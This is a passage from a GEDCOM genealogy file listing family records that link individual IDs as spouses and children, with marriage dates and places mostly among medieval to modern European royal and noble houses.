@I1461@\n1 CHIL @I1462@\n1 CHIL @I1463@\n0 @F545@ FAM\n1 HUSB @I1455@\n1 WIFE @I1464@\n0 @F546@ FAM\n1 HUSB @I1463@\n1 WIFE @I1465@\n1 CHIL @I1466@\n0 @F547@ FAM\n1 HUSB @I1466@\n1 WIFE @I1467@\n1 CHIL @I1252@\n1 CHIL @I1470@\n1 CHIL @I1471@\n1 CHIL @I1472@\n0 @F548@ FAM\n1 HUSB @I1253@\n1 WIFE @I1829@\n1 CHIL @I1450@\n0 @F549@ FAM\n1 HUSB @I1474@\n1 WIFE @I1472@\n1 CHIL @I1475@\n1 CHIL @I1476@\n0 @F550@ FAM\n1 HUSB @I1477@\n1 WIFE @I1475@\n1 CHIL @I1478@\n0 @F551@ FAM\n1 HUSB @I1478@\n1 WIFE @I1479@\n1 CHIL @I1432@\n1 CHIL @I1480@\n0 @F552@ FAM\n1 HUSB @I1480@\n1 WIFE @I1481@\n1 CHIL @I1482@\n0 @F553@ FAM\n1 HUSB @I1470@\n1 WIFE @I1483@\n1 CHIL @I2866@\n1 DIV Y\n0 @F554@ FAM\n1 HUSB @I1459@\n1 WIFE @I1485@\n1 CHIL @I1486@\n0 @F555@ FAM\n1 HUSB @I1487@\n1 WIFE @I1465@\n1 CHIL @I1488@\n1 CHIL @I1489@\n1 CHIL @I1490@\n0 @F556@ FAM\n1 HUSB @I1476@\n1 WIFE @I1491@\n1 CHIL @I1492@\n0 @F557@ FAM\n1 HUSB @I1492@\n1 WIFE @I1493@\n1 CHIL @I1494@\n1 MARR\n2 DATE        1532\n0 @F558@ FAM\n1 HUSB @I1285@\n1 WIFE @I1495@\n1 CHIL @I1496@\n1 CHIL @I1497@\n1 MARR\n2 DATE BEF  3 FEB 1276\n2 PLAC Paris,France\n0 @F559@ FAM\n1 HUSB @I1497@\n1 WIFE @I1498@\n1 CHIL @I1499@\n0 @F560@ FAM\n1 HUSB @I1499@\n1 WIFE @I1500@\n1 CHIL @I1243@\n0 @F561@ FAM\n1 HUSB @I1503@\n1 WIFE @I1501@\n0 @F562@ FAM\n1 HUSB @I1278@\n1 WIFE @I1504@\n1 CHIL @I1744@\n1 MARR\n2 DATE ABT    1316\n0 @F563@ FAM\n1 HUSB @I1377@\n1 WIFE @I1506@\n1 CHIL @I1507@\n1 CHIL @I1873@\n1 MARR\n2 DATE    JUL 1181\n0 @F564@ FAM\n1 HUSB @I1279@\n1 WIFE @I1505@\n1 CHIL @I1410@\n1 MARR\n2 DATE    DEC 1325\n0 @F565@ FAM\n1 HUSB @I1376@\n1 WIFE @I1508@\n0 @F566@ FAM\n1 HUSB @I1509@\n1 WIFE @I1375@\n1 MARR\n2 DATE  1 FEB 1168\n2 PLAC Minden,Saxony,Germany\n0 @F567@ FAM\n1 HUSB @I1374@\n1 WIFE @I1510@\n0 @F568@ FAM\n1 HUSB @I1511@\n1 WIFE @I1512@\n1 CHIL @I1513@\n1 CHIL @I1514@\n1 CHIL @I1392@\n1 CHIL @I1515@\n1 CHIL @I1516@\n0 @F569@ FAM\n1 HUSB @I1517@\n1 WIFE @I1388@\n1 CHIL @I1860@\n1 CHIL @I1518@\n1 CHIL @I1519@\n1 CHIL @I1397@\n1 CHIL @I1861@\n0 @F570@ FAM\n1 HUSB @I1400@\n1 WIFE @I1524@\n1 MARR\n2 DATE AFT    FEB 1140\n0 @F571@ FAM\n1 HUSB @I1520@\n1 WIFE @I1378@\n1 CHIL @I1747@\n1 MARR\n2 DATE    SEP 1170\n2 PLAC Burgos\n0 @F572@ FAM\n1 HUSB @I1525@\n1 WIFE @I1526@\n1 CHIL @I1380@\n0 @F573@ FAM\n1 HUSB @I1527@\n1 WIFE @I1528@\n1 CHIL @I1529@\n1 CHIL @I1525@\n0 @F574@ FAM\n1 HUSB @I1530@\n1 WIFE @I1531@\n1 CHIL @I1527@\n1 CHIL @I1532@\n0 @F575@ FAM\n1 HUSB @I1533@\n1 WIFE @I1532@\n1 CHIL @I1767@\n1 CHIL @I1534@\n1 MARR\n2 DATE        1002\n0 @F576@ FAM\n1 HUSB @I1534@\n1 WIFE @I1535@\n1 MARR\n2 DATE 23 JAN 1045\n0 @F577@ FAM\n1 HUSB @I1536@\n1 WIFE @I1537@\n1 CHIL @I1538@\n1 CHIL @I1535@\n0 @F578@ FAM\n1 HUSB @I1538@\n1 WIFE @I1539@\n1 CHIL @I1540@\n1 MARR\n2 DATE BEF    1065\n0 @F579@ FAM\n1 HUSB @I1541@\n1 WIFE @I1540@\n0 @F580@ FAM\n1 HUSB @I1533@\n1 WIFE @I1542@\n1 CHIL @I1753@\n1 CHIL @I1754@\n1 CHIL @I1543@\n1 CHIL @I1755@\n1 CHIL @I1756@\n1 CHIL @I1757@\n1 CHIL @I1758@\n1 CHIL @I1759@\n1 CHIL @I1760@\n1 CHIL @I1761@\n1 CHIL @I1762@\n1 MARR\n2 DATE ABT     985\n0 @F581@ FAM\n1 HUSB @I1543@\n1 WIFE @I1544@\n1 CHIL @I1764@\n1 CHIL @I1545@\n0 @F582@ FAM\n1 HUSB @I1545@\n1 WIFE @I1546@\n1 CHIL @I1512@\n1 CHIL @I1547@\n1 CHIL @I1766@\n0 @F583@ FAM\n1 HUSB @I1548@\n1 WIFE @I1549@\n1 CHIL @I1550@\n1 CHIL @I1551@\n1 DIV Y\n0 @F584@ FAM\n1 HUSB @I1548@\n1 WIFE @I1532@\n1 CHIL @I1552@\n1 CHIL @I1768@\n1 MARR\n2 DATE  2 JUL 1017\n0 @F585@ FAM\n1 HUSB @I1553@\n1 WIFE @I1526@\n1 CHIL @I1554@\n1 CHIL @I1555@\n0 @F586@ FAM\n1 HUSB @I1556@\n1 WIFE @I1390@\n1 MARR\n2 DATE        1086\n2 PLAC Caen\n0 @F587@ FAM\n1 HUSB @I1402@\n1 WIFE @I1523@\n1 MARR\n2 DATE ABT    1149\n0 @F588@ FAM\n1 HUSB @I1521@\n1 WIFE @I1403@\n1 DIV Y\n1 MARR\n2 DATE ABT    1160\n0 @F589@ FAM\n1 HUSB @I1522@\n1 WIFE @I1516@\n1 CHIL @I1398@\n0 @F590@ FAM\n1 HUSB @I1557@\n1 WIFE @I1379@\n1 MARR\n2 DATE 13 FEB 1177\n2 PLAC Palermo,Italy\n0 @F591@ FAM\n1 HUSB @I1558@\n1 WIFE @I1379@\n1 MARR\n2 DATE    OCT 1196\n2 PLAC Rouen\n0 @F592@ FAM\n1 HUSB @I1559@\n1 WIFE @I156@\n1 CHIL @I1560@\n1 CHIL @I1561@\n1 MARR\n2 DATE        1916\n2 PLAC ,,,Russia\n0 @F593@ FAM\n1 HUSB @I44@\n1 WIFE @I1569@\n1 CHIL @I1570@\n1 CHIL @I1571@\n1 CHIL @I1572@\n0 @F594@ FAM\n1 HUSB @I1570@\n1 WIFE @I1573@\n1 CHIL @I1574@\n0 @F595@ FAM\n1 HUSB @I1575@\n1 WIFE @I1571@\n1 CHIL @I1576@\n1 CHIL @I1577@\n0 @F596@ FAM\n1 HUSB @I1578@\n1 WIFE @I1572@\n1 CHIL @I1579@\n1 CHIL @I1580@\n0 @F597@ FAM\n1 HUSB @I1581@\n1 WIFE @I1572@\n0 @F598@ FAM\n1 HUSB @I873@\n1 WIFE @I1370@\n1 CHIL @I1147@\n1 MARR\n2 DATE  7 JAN 1239\n2 PLAC Westminster\n0 @F599@ FAM\n1 HUSB @I1367@\n1 WIFE @I596@\n1 CHIL @I1882@\n1 MARR\n2 DATE 13 MAR 1231\n2 PLAC Fawley,Bucks\n0 @F600@ FAM\n1 HUSB @I1367@\n1 WIFE @I1582@\n1 CHIL @I1887@\n1 CHIL @I1888@\n1 MARR\n2 DATE 23 NOV 1243\n2 PLAC Westminster,Abbey,London,England\n0 @F601@ FAM\n1 HUSB @I1367@\n1 WIFE @I1583@\n1 MARR\n2 DATE 16 JUN 1269\n2 PLAC Kaiserslautern,Germany\n0 @F602@ FAM\n1 HUSB @I1584@\n1 WIFE @I1369@\n1 MARR\n2 DATE 20 JUL\n2 PLAC Worms\n0 @F603@ FAM\n1 HUSB @I1585@\n1 WIFE @I1283@\n1 CHIL @I2234@\n1 MARR\n2 DATE 26 DEC 1251\n2 PLAC York\n0 @F604@ FAM\n1 HUSB @I1586@\n1 WIFE @I1284@\n1 MARR\n2 DATE 22 JAN 1260\n2 PLAC St Denis\n0 @F605@ FAM\n1 HUSB @I1285@\n1 WIFE @I1587@\n1 MARR\n2 DATE  9 APR 1269\n2 PLAC Westminster,Abbey,London,England\n0 @F606@ FAM\n1 HUSB @I1588@\n1 WIFE @I1268@\n1 MARR\n2 DATE 30 APR 1290\n2 PLAC Westminster,Abbey,London,England\n0 @F607@ FAM\n1 HUSB @I1589@\n1 WIFE @I1268@\n1 MARR\n2 DATE    JAN 1297\n0 @F608@ FAM\n1 HUSB @I1590@\n1 WIFE @I1270@\n1 MARR\n2 DATE  8 JUL 1290\n2 PLAC Westminster,Abbey,London,England\n0 @F609@ FAM\n1 HUSB @I1591@\n1 WIFE @I1274@\n1 MARR\n2 DATE 18 JAN 1297\n2 PLAC Ipswich\n0 @F610@ FAM\n1 HUSB @I1592@\n1 WIFE @I1274@\n1 MARR\n2 DATE 14 NOV 1302\n2 PLAC Westminster\n0 @F611@ FAM\n1 HUSB @I1278@\n1 WIFE @I1593@\n1 MARR\n2 DATE ABT    1328\n0 @F612@ FAM\n1 HUSB @I1594@\n1 WIFE @I1239@\n1 MARR\n2 DATE        1361\n2 PLAC Woodstock\n0 @F613@ FAM\n1 HUSB @I1224@\n1 WIFE @I1595@\n1 MARR\n2 DATE        1412\n0 @F614@ FAM\n1 HUSB @I1225@\n1 WIFE @I1596@\n1 MARR\n2 DATE 17 APR 1423\n2 PLAC Troyes\n0 @F615@ FAM\n1 HUSB @I1226@\n1 WIFE @I1597@\n1 MARR\n2 DATE        1422\n0 @F616@ FAM\n1 HUSB @I1226@\n1 WIFE @I1598@\n1 MARR\n2 DATE BEF    1431\n0 @F617@ FAM\n1 HUSB @I1599@\n1 WIFE @I1227@\n1 MARR\n2 DATE  6 JUL 1402\n2 PLAC Cologne,Germany\n0 @F618@ FAM\n1 HUSB @I1600@\n1 WIFE @I1228@\n1 MARR\n2 DATE 26 OCT 1406\n2 PLAC Lund\n0 @F619@ FAM\n1 HUSB @I1594@\n1 WIFE @I1601@\n1 MARR\n2 DATE 11 SEP 1386\n2 PLAC Saille,Near Guerrand\n0 @F620@ FAM\n1 HUSB @I1221@\n1 WIFE @I1601@\n1 MARR\n2 DATE  7 FEB 1403\n2 PLAC Winchester,Cathedral,London,England\n0 @F621@ FAM\n1 HUSB @I1602@\n1 WIFE @I1603@\n1 CHIL @I1026@\n0 @F622@ FAM\n1 HUSB @I1604@\n1 WIFE @I330@\n1 CHIL @I1736@\n1 CHIL @I301@\n1 MARR\n2 DATE 28 JUN 1740\n2 PLAC Cassel\n0 @F623@ FAM\n1 HUSB @I1162@\n1 WIFE @I1605@\n1 MARR\n2 DATE        1733\n0 @F624@ FAM\n1 HUSB @I1606@\n1 CHIL @I1605@\n0 @F625@ FAM\n1 HUSB @I1608@\n1 WIFE @I1396@\n1 MARR\n2 DATE        1138\n0 @F626@ FAM\n1 HUSB @I1609@\n1 WIFE @I610@\n1 CHIL @I1610@\n1 CHIL @I1611@\n1 MARR\n2 DATE 10 JUN 1967\n2 PLAC Copenhagen,Denmark\n0 @F627@ FAM\n1 HUSB @I1613@\n1 WIFE @I1614@\n1 CHIL @I1027@\n1 CHIL @I458@\n1 MARR\n2 DATE 19 JUN 1823\n2 PLAC Stockholm,Sweden\n0 @F628@ FAM\n1 HUSB @I1615@\n1 WIFE @I1616@\n1 CHIL @I1613@\n1 MARR\n2 DATE 17 AUG 1798\n2 PLAC Sceaux\n0 @F629@ FAM\n1 HUSB @I1617@\n1 WIFE @I1618@\n1 CHIL @I1642@\n1 CHIL @I1655@\n1 CHIL @I1656@\n1 CHIL @I1657@\n1 CHIL @I1658@\n1 CHIL @I1659@\n1 CHIL @I1660@\n1 CHIL @I1650@\n1 MARR\n2 DATE 31 JUL 1790\n2 PLAC Gottorp\n0 @F630@ FAM\n1 HUSB @I344@\n1 WIFE @I1619@\n1 CHIL @I1643@\n1 MARR\n2 DATE  8 JUL 1752\n2 PLAC Frederiksborg,Denmark\n0 @F631@ FAM\n1 HUSB @I1620@\n1 WIFE @I1621@\n1 CHIL @I344@\n1 CHIL @I2850@\n1 MARR\n2 DATE  7 AUG 1721\n0 @F632@ FAM\n1 HUSB @I1622@\n1 WIFE @I1623@\n1 CHIL @I1620@\n1 MARR\n2 DATE  5 DEC 1695\n0 @F633@ FAM\n1 HUSB @I1622@\n1 WIFE @I1624@\n1 MARR\n2 DATE  4 APR 1721\n0 @F634@ FAM\n1 HUSB @I1625@\n1 WIFE @I1626@\n1 CHIL @I1622@\n1 CHIL @I2854@\n1 CHIL @I2855@\n1 MARR\n2 DATE 25 JUN 1667\n2 PLAC Copenhagen,Denmark\n0 @F635@ FAM\n1 HUSB @I1627@\n1 WIFE @I1628@\n1 CHIL @I1630@\n1 MARR\n2 DATE 27 NOV 1597\n0 @F636@ FAM\n1 HUSB @I1627@\n1 WIFE @I1629@\n1 DIV Y\n1 MARR\n2 DATE 31 DEC 1615\n0 @F637@ FAM\n1 HUSB @I1630@\n1 WIFE @I1631@\n1 CHIL @I1625@\n1 CHIL @I2856@\n1 CHIL @I2857@\n1 CHIL @I692@\n1 CHIL @I2858@\n1 MARR\n2 DATE  1 OCT 1643\n2 PLAC Gluckstadt\n0 @F638@ FAM\n1 HUSB @I1632@\n1 WIFE @I1633@\n1 CHIL @I737@\n1 MARR\n2 DATE 29 OCT 1525\n2 PLAC Lauenburg\n0 @F639@ FAM\n1 HUSB @I1634@\n1 WIFE @I1635@\n1 CHIL @I1632@\n1 MARR\n2 DATE 10 APR 1502\n0 @F640@ FAM\n1 HUSB @I1634@\n1 WIFE @I1636@\n1 MARR\n2 DATE  9 OCT 1518\n2 PLAC Keil\n0 @F641@ FAM\n1 HUSB @I1641@\n1 WIFE @I1640@\n1 CHIL @I1618@\n1 CHIL @I346@\n0 @F642@ FAM\n1 HUSB @I1643@\n1 WIFE @I1644@\n1 CHIL @I1645@\n1 CHIL @I299@\n1 CHIL @I1646@\n1 MARR\n2 DATE        1774\n0 @F643@ FAM\n1 HUSB @I1645@\n1 WIFE @I1647@\n1 CHIL @I1649@\n1 DIV Y\n1 MARR\n2 DATE 21 JUN 1806\n2 PLAC Ludwigslust\n0 @F644@ FAM\n1 HUSB @I1645@\n1 WIFE @I1648@\n1 MARR\n2 DATE 22 MAY 1815\n2 PLAC Augustenburg\n0 @F645@ FAM\n1 HUSB @I1649@\n1 WIFE @I1650@\n1 DIV Y\n1 MARR\n2 DATE  1 NOV 1828\n2 PLAC Copenhagen\n0 @F646@ FAM\n1 HUSB @I1649@\n1 WIFE @I1651@\n1 DIV Y\n1 MARR\n2 DATE 10 JUN 1841\n2 PLAC Neustrelitz\n0 @F647@ FAM\n1 HUSB @I1649@\n1 WIFE @I1652@\n1 MARR\n2 DATE  7 AUG 1850\n2 PLAC Frederiksborg\n0 @F648@ FAM\n1 HUSB @I1654@\n1 WIFE @I1653@\n1 CHIL @I1648@\n0 @F649@ FAM\n1 HUSB @I1646@\n1 WIFE @I1656@\n0 @F650@ FAM\n1 HUSB @I1661@\n1 WIFE @I1650@\n0 @F651@ FAM\n1 HUSB @I1668@\n1 WIFE @I1667@\n1 MARR\n2 DATE        1922\n0 @F652@ FAM\n1 HUSB @I1664@\n1 WIFE @I1669@\n1 CHIL @I2699@\n1 CHIL @I1670@\n1 CHIL @I2700@\n1 CHIL @I2701@\n1 CHIL @I2702@\n1 MARR\n2 DATE        1909\n0 @F653@ FAM\n1 HUSB @I1673@\n1 WIFE @I1672@\n1 MARR\n2 DATE        1968\n0 @F654@ FAM\n1 HUSB @I1671@\n1 WIFE @I1670@\n1 CHIL @I1674@\n1 CHIL @I1675@\n1 CHIL @I1676@\n1 MARR\n2 DATE        1933\n0 @F655@ FAM\n1 HUSB @I1676@\n1 WIFE @I1677@\n1 MARR\n2 DATE        1971\n0 @F656@ FAM\n1 HUSB @I1685@\n1 WIFE @I1684@\n1 MARR\n2 DATE        1871\n0 @F657@ FAM\n1 HUSB @I1686@\n1 WIFE @I1204@\n1 DIV Y\n1 MARR\n2 DATE        1964\n0 @F658@ FAM\n1 HUSB @I1687@\n1 WIFE @I1205@\n1 MARR\n2 DATE        1967\n0 @F659@ FAM\n1 HUSB @I1688@\n1 WIFE @I1206@\n1 MARR\n2 DATE        1975\n0 @F660@ FAM\n1 HUSB @I1693@\n1 WIFE @I1692@\n1 MARR\n2 DATE        1842\n0 @F661@ FAM\n1 HUSB @I1694@\n1 CHIL @I322@\n0 @F662@ FAM\n1 HUSB @I1148@\n1 WIFE @I1695@\n1 MARR\n2 DATE 22 NOV 1836\n2 PLAC Oldenburg,Germany\n0 @F663@ FAM\n1 HUSB @I1696@\n1 WIFE @I245@\n1 CHIL @I1697@\n1 CHIL @I1698@\n1 CHIL @I1114@\n1 CHIL @I1699@\n1 MARR\n2 DATE  9 AUG 1832\n2 PLAC Compiegne\n0 @F664@ FAM\n1 HUSB @I417@\n1 WIFE @I2512@\n1 MARR\n2 DATE         770\n0 @F665@ FAM\n1 HUSB @I1706@\n1 WIFE @I1707@\n1 CHIL @I2152@\n1 CHIL @I2153@\n1 CHIL @I2154@\n1 MARR\n2 DATE        1956\n0 @F666@ FAM\n1 HUSB @I282@\n1 WIFE @I1708@\n0 @F667@ FAM\n1 HUSB @I1709@\n1 WIFE @I284@\n0 @F668@ FAM\n1 HUSB @I1710@\n1 WIFE @I285@\n0 @F669@ FAM\n1 HUSB @I1711@\n1 WIFE @I289@\n0 @F670@ FAM\n1 HUSB @I1714@\n1 WIFE @I1715@\n0 @F671@ FAM\n1 HUSB @I1716@\n1 CHIL @I792@\n0 @F672@ FAM\n1 HUSB @I1717@\n1 WIFE @I1718@\n1 CHIL @I1716@\n0 @F673@ FAM\n1 HUSB @I1719@\n1 CHIL @I1717@\n0 @F674@ FAM\n1 HUSB @I1720@\n1 CHIL @I1719@\n1 CHIL @I1721@\n0 @F675@ FAM\n1 HUSB @I1722@\n1 CHIL @I787@\n0 @F676@ FAM\n1 WIFE @I1723@\n1 CHIL @I1722@\n0 @F677@ FAM\n1 WIFE @I1721@\n1 CHIL @I1723@\n0 @F678@ FAM\n1 WIFE @I1724@\n1 CHIL @I1718@\n0 @F679@ FAM\n1 WIFE @I1725@\n1 CHIL @I1724@\n0 @F680@ FAM\n1 HUSB @I1726@\n1 WIFE @I1727@\n1 CHIL @I1725@\n0 @F681@ FAM\n1 HUSB @I1728@\n1 CHIL @I789@\n0 @F682@ FAM\n1 HUSB @I1729@\n1 CHIL @I782@\n1 CHIL @I1728@\n0 @F683@ FAM\n1 HUSB @I398@\n1 WIFE @I1730@\n1 CHIL @I1731@\n0 @F684@ FAM\n1 HUSB @I1731@\n1 WIFE @I1732@\n0 @F685@ FAM\n1 HUSB @I1735@\n1 CHIL @I1291@\n0 @F686@ FAM\n1 HUSB @I1662@\n1 WIFE @I1699@\n1 MARR\n2 DATE        1857\n0 @F687@ FAM\n1 HUSB @I1663@\n1 WIFE @I1738@\n0 @F688@ FAM\n1 HUSB @I1739@\n1 WIFE @I2485@\n1 CHIL @I1903@\n1 CHIL @I1277@\n1 MARR\n2 DATE        1274\n0 @F689@ FAM\n1 HUSB @I1740@\n1 WIFE @I2482@\n1 CHIL @I1739@\n1 MARR\n2 DATE        1234\n0 @F690@ FAM\n1 HUSB @I1741@\n1 WIFE @I1742@\n1 CHIL @I1740@\n1 CHIL @I1894@\n1 CHIL @I2481@\n1 CHIL @I2484@\n1 MARR\n2 DATE        1200\n0 @F691@ FAM\n1 HUSB @I1891@\n1 CHIL @I1742@\n0 @F692@ FAM\n1 HUSB @I1744@\n1 WIFE @I1745@\n0 @F693@ FAM\n1 HUSB @I1746@\n1 CHIL @I1749@\n1 CHIL @I1262@\n0 @F694@ FAM\n1 HUSB @I2452@\n1 WIFE @I1892@\n1 DIV Y\n1 MARR\n2 DATE        1104\n0 @F695@ FAM\n1 HUSB @I1748@\n1 CHIL @I1520@\n0 @F696@ FAM\n1 HUSB @I1749@\n1 WIFE @I1750@\n1 CHIL @I1751@\n0 @F697@ FAM\n1 HUSB @I1452@\n1 CHIL @I1542@\n0 @F698@ FAM\n1 HUSB @I1752@\n1 CHIL @I1452@\n0 @F699@ FAM\n1 HUSB @I1763@\n1 CHIL @I1765@\n1 CHIL @I1546@\n0 @F700@ FAM\n1 HUSB @I1764@\n1 WIFE @I1765@\n0 @F701@ FAM\n1 HUSB @I1769@\n1 WIFE @I1759@\n0 @F702@ FAM\n1 HUSB @I1770@\n1 WIFE @I1760@\n0 @F703@ FAM\n1 HUSB @I1771@\n1 CHIL @I1770@\n0 @F704@ FAM\n1 HUSB @I1772@\n1 WIFE @I1761@\n0 @F705@ FAM\n1 HUSB @I1773@\n1 WIFE @I1762@\n0 @F706@ FAM\n1 HUSB @I1774@\n1 CHIL @I1539@\n0 @F707@ FAM\n1 HUSB @I1775@\n1 CHIL @I1549@\n0 @F708@ FAM\n1 HUSB @I1776@\n1 WIFE @I1777@\n1 CHIL @I1548@\n0 @F709@ FAM\n1 HUSB @I1778@\n1 CHIL @I1777@\n0 @F710@ FAM\n1 HUSB @I1779@\n1 WIFE @I1780@\n1 CHIL @I1784@\n1 CHIL @I1533@\n0 @F711@ FAM\n1 HUSB @I1779@\n1 WIFE @I1781@\n1 CHIL @I1782@\n0 @F712@ FAM\n1 HUSB @I1783@\n1 CHIL @I1781@\n0 @F713@ FAM\n1 HUSB @I1785@\n1 CHIL @I1780@\n0 @F714@ FAM\n1 HUSB @I1786@\n1 WIFE @I1787@\n1 CHIL @I1788@\n1 CHIL @I1779@\n0 @F715@ FAM\n1 HUSB @I1788@\n1 WIFE @I1789@\n0 @F716@ FAM\n1 HUSB @I1786@\n1 WIFE @I1790@\n0 @F717@ FAM\n1 HUSB @I1791@\n1 CHIL @I1790@\n0 @F718@ FAM\n1 HUSB @I1792@\n1 WIFE @I1793@\n1 CHIL @I1786@\n1 CHIL @I1794@\n1 CHIL @I1795@\n1 CHIL @I1796@\n0 @F719@ FAM\n1 HUSB @I1797@\n1 WIFE @I1796@\n0 @F720@ FAM\n1 HUSB @I1792@\n1 WIFE @I1798@\n1 CHIL @I1799@\n1 CHIL @I1800@\n0 @F721@ FAM\n1 HUSB @I1801@\n1 WIFE @I1800@\n0 @F722@ FAM\n1 HUSB @I1792@\n1 WIFE @I1802@\n1 CHIL @I1803@\n1 CHIL @I1804@\n1 CHIL @I1805@\n1 CHIL @I1806@\n1 CHIL @I1807@\n1 CHIL @I1808@\n1 CHIL @I1809@\n1 CHIL @I1810@\n0 @F723@ FAM\n1 HUSB @I1811@\n1 WIFE @I1806@\n0 @F724@ FAM\n1 HUSB @I1812@\n1 WIFE @I1808@\n0 @F725@ FAM\n1 HUSB @I1813@\n1 WIFE @I1809@\n0 @F726@ FAM\n1 HUSB @I1814@\n1 WIFE @I1810@\n0 @F727@ FAM\n1 HUSB @I1815@\n1 CHIL @I1251@\n0 @F728@ FAM\n1 HUSB @I1816@\n1 WIFE @I2440@\n1 CHIL @I1429@\n1 CHIL @I2438@\n1 MARR\n2 DATE 18 MAY 1514\n0 @F729@ FAM\n1 HUSB @I2524@\n1 WIFE @I1817@\n1 CHIL @I2441@\n1 CHIL @I1816@\n0 @F730@ FAM\n1 HUSB @I1818@\n1 CHIL @I1448@\n0 @F731@ FAM\n1 HUSB @I1819@\n1 CHIL @I1456@\n0 @F732@ FAM\n1 HUSB @I1820@\n1 CHIL @I1464@\n0 @F733@ FAM\n1 HUSB @I1822@\n1 WIFE @I1821@\n0 @F734@ FAM\n1 HUSB @I1823@\n1 WIFE @I1821@\n0 @F735@ FAM\n1 HUSB @I1824@\n1 WIFE @I1821@\n0 @F736@ FAM\n1 HUSB @I1329@\n0 @F737@ FAM\n1 HUSB @I1825@\n1 CHIL @I1461@\n0 @F738@ FAM\n1 HUSB @I1826@\n1 CHIL @I1467@\n0 @F739@ FAM\n1 HUSB @I1827@\n1 WIFE @I1828@\n1 CHIL @I1469@\n1 CHIL @I1468@\n1 CHIL @I1634@\n1 MARR\n2 DATE        1449\n0 @F740@ FAM\n1 HUSB @I1830@\n1 WIFE @I1831@\n1 CHIL @I1447@\n1 CHIL @I2869@\n1 CHIL @I2870@\n1 CHIL @I2871@\n1 CHIL @I2872@\n1 CHIL @I2873@\n0 @F741@ FAM\n1 HUSB @I1832@\n1 WIFE @I1833@\n1 CHIL @I1830@\n0 @F742@ FAM\n1 HUSB @I1834@\n1 CHIL @I1833@\n0 @F743@ FAM\n1 HUSB @I1835@\n1 WIFE @I1836@\n1 CHIL @I1832@\n0 @F744@ FAM\n1 HUSB @I1837@\n1 WIFE @I1838@\n1 CHIL @I1842@\n1 CHIL @I1836@\n0 @F745@ FAM\n1 HUSB @I1839@\n1 CHIL @I1838@\n0 @F746@ FAM\n1 HUSB @I1840@\n1 WIFE @I1453@\n0 @F747@ FAM\n1 HUSB @I1841@\n1 CHIL @I1453@\n0 @F748@ FAM\n1 HUSB @I1843@\n0 @F749@ FAM\n1 HUSB @I1845@\n1 WIFE @I1844@\n1 CHIL @I1846@\n0 @F750@ FAM\n1 HUSB @I1846@\n1 WIFE @I1847@\n1 CHIL @I1849@\n0 @F751@ FAM\n1 HUSB @I1848@\n1 CHIL @I1847@\n0 @F752@ FAM\n1 HUSB @I1850@\n1 CHIL @I1381@\n0 @F753@ FAM\n1 HUSB @I1382@\n1 WIFE @I1851@\n1 CHIL @I1853@\n0 @F754@ FAM\n1 HUSB @I1852@\n1 CHIL @I1851@\n0 @F755@ FAM\n1 HUSB @I1853@\n1 WIFE @I1854@\n1 DIV Y\n0 @F756@ FAM\n1 HUSB @I1859@\n1 CHIL @I1396@\n0 @F757@ FAM\n1 HUSB @I1853@\n1 WIFE @I1856@\n0 @F758@ FAM\n1 HUSB @I1857@\n1 CHIL @I1856@\n0 @F759@ FAM\n1 HUSB @I1394@\n1 WIFE @I1858@\n0 @F760@ FAM\n1 HUSB @I1855@\n1 CHIL @I1858@\n1 CHIL @I1854@\n0 @F761@ FAM\n1 HUSB @I1861@\n1 WIFE @I1862@\n0 @F762@ FAM\n1 HUSB @I1863@\n1 CHIL @I1862@\n0 @F763@ FAM\n1 HUSB @I1518@\n1 WIFE @I1864@\n0 @F764@ FAM\n1 HUSB @I1865@\n1 CHIL @I1864@\n0 @F765@ FAM\n1 HUSB @I1868@\n1 CHIL @I1372@\n0 @F766@ FAM\n1 HUSB @I1869@\n1 WIFE @I1372@\n1 CHIL @I1510@\n1 DIV Y\n1 MARR\n2 DATE        1137\n0 @F767@ FAM\n1 HUSB @I1870@\n1 CHIL @I1523@\n0 @F768@ FAM\n1 HUSB @I1871@\n1 CHIL @I1521@\n0 @F769@ FAM\n1 HUSB @I1872@\n1 CHIL @I1508@\n0 @F770@ FAM\n1 HUSB @I1874@\n1 CHIL @I1506@\n0 @F771@ FAM\n1 HUSB @I1875@\n1 WIFE @I1506@\n0 @F772@ FAM\n1 HUSB @I1876@\n1 WIFE @I1506@\n0 @F773@ FAM\n1 HUSB @I1877@\n1 CHIL @I1365@\n0 @F774@ FAM\n1 HUSB @I1878@\n1 WIFE @I1365@\n0 @F775@ FAM\n1 HUSB @I1879@\n1 WIFE @I1365@\n0 @F776@ FAM\n1 HUSB @I1880@\n1 WIFE @I1366@\n0 @F777@ FAM\n1 HUSB @I1881@\n1 CHIL @I1282@\n0 @F778@ FAM\n1 HUSB @I1883@\n1 CHIL @I596@\n0 @F779@ FAM\n1 HUSB @I1884@\n1 CHIL @I1582@\n0 @F780@ FAM\n1 HUSB @I1885@\n1 CHIL @I1583@\n0 @F781@ FAM\n1 HUSB @I1886@\n1 WIFE @I1368@\n0 @F782@ FAM\n1 HUSB @I1887@\n1 WIFE @I1889@\n0 @F783@ FAM\n1 HUSB @I1890@\n1 CHIL @I1889@\n0 @F784@ FAM\n1 HUSB @I1891@\n1 WIFE @I1747@\n1 CHIL @I1746@\n1 DIV Y\n1 MARR\n2 DATE        1197\n0 @F785@ FAM\n1 HUSB @I1893@\n1 CHIL @I1587@\n0 @F786@ FAM\n1 HUSB @I1894@\n1 WIFE @I1895@\n1 CHIL @I1495@\n0 @F787@ FAM\n1 HUSB @I1585@\n1 WIFE @I1896@\n0 @F788@ FAM\n1 HUSB @I1897@\n1 CHIL @I1896@\n0 @F789@ FAM\n1 HUSB @I1898@\n1 CHIL @I1504@\n0 @F790@ FAM\n1 HUSB @I1899@\n1 CHIL @I1593@\n0 @F791@ FAM\n1 HUSB @I1900@\n1 WIFE @I1593@\n0 @F792@ FAM\n1 HUSB @I1901@\n1 CHIL @I1505@\n0 @F793@ FAM\n1 HUSB @I1902@\n1 WIFE @I1505@\n0 @F794@ FAM\n1 HUSB @I1903@\n1 WIFE @I2486@\n1 CHIL @I2464@\n1 CHIL @I127@\n1 CHIL @I2465@\n1 CHIL @I1743@\n1 MARR\n2 DATE        1284\n0 @F795@ FAM\n1 HUSB @I1904@\n1 CHIL @I1349@\n0 @F796@ FAM\n1 HUSB @I1905@\n1 CHIL @I1904@\n0 @F797@ FAM\n1 HUSB @I1906@\n1 CHIL @I1905@\n0 @F798@ FAM\n1 HUSB @I1907@\n1 CHIL @I1906@\n0 @F799@ FAM\n1 HUSB @I1908@\n1 WIFE @I1909@\n1 CHIL @I1907@\n0 @F800@ FAM\n1 HUSB @I1910@\n1 WIFE @I1911@\n1 CHIL @I1908@\n0 @F801@ FAM\n1 HUSB @I1912@\n1 WIFE @I1911@\n0 @F802@ 